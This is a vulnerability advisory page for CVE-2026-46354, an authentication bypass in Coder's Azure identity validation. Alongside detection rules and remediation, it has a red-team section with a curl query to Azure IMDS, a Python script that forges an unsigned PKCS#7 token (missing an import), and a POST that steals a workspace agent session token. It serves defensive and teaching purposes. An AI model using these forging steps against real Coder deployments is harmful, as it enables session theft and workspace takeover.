☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Coder logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 9.1 🐛 CWE-347
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-46354

CVE-2026-46354 Authentication Bypass in Coder
📅 PUBLISHED: 2026-07-07 21:10 UTC 🔄 UPDATED: 2026-10-09 05:42 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.32%
👁️
0.32% probability
8.0× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Country: United States License: Commercial
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
9.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-46354 is a critical authentication bypass vulnerability in Coder, a platform for provisioning remote development environments via Terraform. The flaw resides in the azureidentity.Validate() function, which incorrectly validates Azure Managed Identity tokens. The function verifies that the PKCS#7 signer certificate chains to a trusted Azure Certificate Authority (CA) but fails to verify the PKCS#7 digital signature itself. This allows an attacker to forge a valid-looking identity token by embedding a legitimate Azure certificate alongside arbitrary content, such as a forged vmId. The forged token is then accepted by the Coder server, granting the attacker the victim workspace agent's session token. No authentication is required, and the attack is network-based with low complexity. The primary practical limitation is that the attacker must know the target VM's vmId, a UUIDv4, which typically requires prior access to the environment.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not directly in a package manager (NPM, PyPI, Go, Ruby) but in the Coder server application itself. However, the attack exploits the Azure Instance Metadata Service (IMDS) identity token, which is a cloud-specific feature. The supply chain risk is indirect: if an attacker compromises a Coder workspace, they could pivot to obtain the vmId and then exploit this vulnerability to gain further access. The patched versions are available on the Coder GitHub releases page.

CVSS Breakdown & Threat Level

  • CVSS Score: 9.1 (Critical)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely over the network.
  • Attack Complexity (AC): Low (L) - No special conditions are required; the attacker only needs to send a crafted request.
  • Privileges Required (PR): None (N) - No authentication is needed to exploit.
  • User Interaction (UI): None (N) - No user action is required.
  • Scope (S): Unchanged (U) - The vulnerable component and the impacted component are the same.
  • Confidentiality (C): High (H) - The attacker can obtain session tokens, leading to full workspace access.
  • Integrity (I): High (H) - The attacker can forge identity tokens.
  • Availability (A): High (H) - The attacker could potentially disrupt workspace operations.

Threat Level: Critical. The vulnerability allows unauthenticated remote attackers to bypass Azure identity validation and steal session tokens. The only barrier is knowledge of the target VM's vmId.

Deep Dive & Mechanics

The vulnerability is in the azureidentity.Validate() function within Coder's codebase. This function is responsible for validating Azure Managed Identity tokens presented by workspace agents. The token is a PKCS#7 signed object that contains the VM's identity information, including the vmId.

Flaw: The validation logic performs two checks:

  1. It extracts the signer certificate from the PKCS#7 structure.
  2. It verifies that the signer certificate chains to a trusted Azure CA root certificate.

However, it never verifies the PKCS#7 digital signature against the content. This means an attacker can:

  1. Obtain a legitimate Azure certificate (e.g., from a public Azure service or a compromised VM).
  2. Create a forged PKCS#7 structure containing arbitrary content (e.g., {"vmId":"<target_vm_id>"}).
  3. Embed the legitimate certificate in the structure.
  4. Send this forged token to the Coder server.

The server will see that the certificate chains to a trusted Azure CA and accept the forged vmId. It then returns the session token for the workspace agent associated with that VM.

Attack Flow:

  1. Reconnaissance: Attacker identifies a target Coder deployment and obtains a target VM's vmId. This could be done via prior access to the environment, information disclosure, or social engineering.
  2. Craft Payload: Attacker creates a forged PKCS#7 token with the target vmId and a legitimate Azure certificate.
  3. Exploit: Attacker sends the forged token to the Coder server's authentication endpoint.
  4. Token Theft: The server validates the certificate chain, accepts the forged vmId, and returns the workspace agent's session token.
  5. Lateral Movement: Attacker uses the session token to access the victim's workspace, potentially exfiltrating data or deploying malware.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

func Validate(token string) (string, error) {
    p7, err := parsePKCS7(token)
    if err != nil {
        return "", err
    }
    // Extract signer certificate
    cert := p7.GetSignerCertificate()
    // Verify certificate chain to Azure CA
    err = verifyChain(cert, azureRootCAs)
    if err != nil {
        return "", err
    }
    // MISSING: Verify PKCS#7 signature
    // Extract vmId from content
    content := p7.Content
    vmId := extractVmId(content)
    return vmId, nil
}

Patched Code (Conceptual):

func Validate(token string) (string, error) {
    p7, err := parsePKCS7(token)
    if err != nil {
        return "", err
    }
    // Extract signer certificate
    cert := p7.GetSignerCertificate()
    // Verify certificate chain to Azure CA
    err = verifyChain(cert, azureRootCAs)
    if err != nil {
        return "", err
    }
    // FIX: Verify PKCS#7 signature
    err = p7.VerifySignature(cert)
    if err != nil {
        return "", err
    }
    // Extract vmId from content
    content := p7.Content
    vmId := extractVmId(content)
    return vmId, nil
}

The patch adds a call to p7.VerifySignature(cert) which cryptographically verifies that the content was signed by the private key corresponding to the embedded certificate. This prevents forgery.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Target Coder server (vulnerable version).
  • Knowledge of a target VM's vmId (UUIDv4).
  • A legitimate Azure certificate (can be obtained from any Azure VM's IMDS endpoint or a public Azure service).

Exploitation Steps:

  1. Obtain a Legitimate Azure Certificate:

    • From a compromised Azure VM, query the IMDS endpoint:
      curl -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
      
    • Extract the certificate from the response (the token is a PKCS#7 blob).
  2. Craft Forged Token:

    • Use a tool like openssl or a custom script to create a new PKCS#7 structure with the target vmId and the legitimate certificate.
    • Example using Python (conceptual):
      from cryptography import x509
      from cryptography.hazmat.primitives import hashes, serialization
      from cryptography.hazmat.primitives.asymmetric import padding
      from cryptography.hazmat.backends import default_backend
      from asn1crypto import cms, core
      import json
      
      # Load legitimate certificate
      with open("legit_cert.pem", "rb") as f:
          cert = x509.load_pem_x509_certificate(f.read(), default_backend())
      
      # Create forged content
      forged_content = json.dumps({"vmId": "target-vm-uuid"}).encode()
      
      # Create PKCS7 signed data (without signing - this is the vulnerability)
      # We just embed the certificate and content
      signed_data = cms.SignedData()
      signed_data['version'] = 1
      signed_data['digest_algorithms'] = [{'algorithm': 'sha256'}]
      signed_data['encap_content_info'] = {
          'content_type': 'data',
          'content': forged_content
      }
      signed_data['certificates'] = [cert.public_bytes(serialization.Encoding.DER)]
      signed_data['signer_infos'] = []  # No actual signature
      
      content_info = cms.ContentInfo()
      content_info['content_type'] = 'signed_data'
      content_info['content'] = signed_data
      
      forged_token = content_info.dump()
      print(base64.b64encode(forged_token).decode())
      
  3. Send Forged Token to Coder:

    • Identify the authentication endpoint (e.g., /api/v2/workspaceagents/azure-instance-identity).
    • Send a POST request with the forged token:
      curl -X POST https://coder.example.com/api/v2/workspaceagents/azure-instance-identity \
        -H "Content-Type: application/json" \
        -d '{"token": "<forged_token_base64>"}'
      
  4. Receive Session Token:

    • The server will respond with the workspace agent's session token.
    • Use this token to access the victim's workspace.

Blue Team

Detection:

  • Monitor for unusual authentication requests to the azure-instance-identity endpoint.
  • Look for multiple failed authentication attempts (though the attack may succeed on the first try).
  • Alert on any authentication using Azure identity tokens from unexpected IP addresses or outside normal business hours.

Hunting:

  • Search logs for azureidentity.Validate() calls with unusual certificate chains or content.
  • Correlate vmId values with known workspace agents; any mismatch is suspicious.
  • Check for tokens that have valid certificate chains but invalid signatures (requires deep packet inspection).

Lab Setup:

  • Deploy a vulnerable Coder server (version < 2.24.5) in an isolated environment.
  • Set up a test Azure VM with managed identity enabled.
  • Obtain the test VM's vmId from the Azure portal or IMDS.
  • Use the Red Team steps to simulate the attack.
  • Monitor logs and network traffic to understand the attack pattern.

Indicators of Compromise (IOCs)

  • Network:
    • POST requests to /api/v2/workspaceagents/azure-instance-identity with a token field containing a PKCS#7 blob.
    • The PKCS#7 blob has a valid certificate chain but no valid signature (can be detected by inspecting the signer_infos field).
  • Logs:
    • Coder server logs showing successful azureidentity.Validate() calls for unexpected vmId values.
    • Authentication logs showing session token issuance without prior user authentication.
  • Endpoint:
    • Unauthorized access to workspace agents.
    • Unexpected processes or network connections from workspace agents.

Detection Engineering

YARA Rule

rule CVE_2026_46354_AzureIdentityForgery {
    meta:
        description = "Detects forged Azure identity tokens exploiting CVE-2026-46354"
        author = "Valters IT"
        date = "2025-04-10"
        hash = "unknown"
    strings:
        $pkcs7_header = { 30 82 ?? ?? 06 09 2A 86 48 86 F7 0D 01 07 02 }
        $vmId_key = "vmId"
        $no_signer = { 31 00 } // Empty set of signer_infos
    condition:
        $pkcs7_header and $vmId_key and $no_signer
}

Sigma Rule

title: CVE-2026-46354 - Azure Identity Token Forgery
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects exploitation attempts of CVE-2026-46354 by monitoring for forged Azure identity tokens.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: coder
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/api/v2/workspaceagents/azure-instance-identity'
        cs-content-type: 'application/json'
    condition: selection
falsepositives:
    - Legitimate Azure identity token requests from valid workspace agents.
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-46354 - Azure Identity Token Forgery Attempt"; flow:to_server; content:"POST"; http_method; content:"/api/v2/workspaceagents/azure-instance-identity"; http_uri; content:"application/json"; http_content_type; pcre:"/\"token\":\s*\"[A-Za-z0-9+\/=]+\"/"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Patch: Upgrade Coder to version 2.24.5, 2.29.13, 2.30.8, 2.31.12, 2.32.2, or 2.33.3 (or later).
  2. Workaround: Reconfigure any Azure templates to use token authentication rather than azure-instance-identity. This eliminates the attack vector.

Long-Term Measures:

  • Implement network segmentation to limit access to the Coder server.
  • Enable logging and monitoring for the azure-instance-identity endpoint.
  • Regularly audit workspace agent tokens and their associated vmId values.
  • Apply the principle of least privilege to workspace agents.

Valters IT Signature

Report generated by Valters IT DevSecOps & CTI Framework CVE-2026-46354 | Critical | Azure Identity Bypass in Coder

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-46354/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.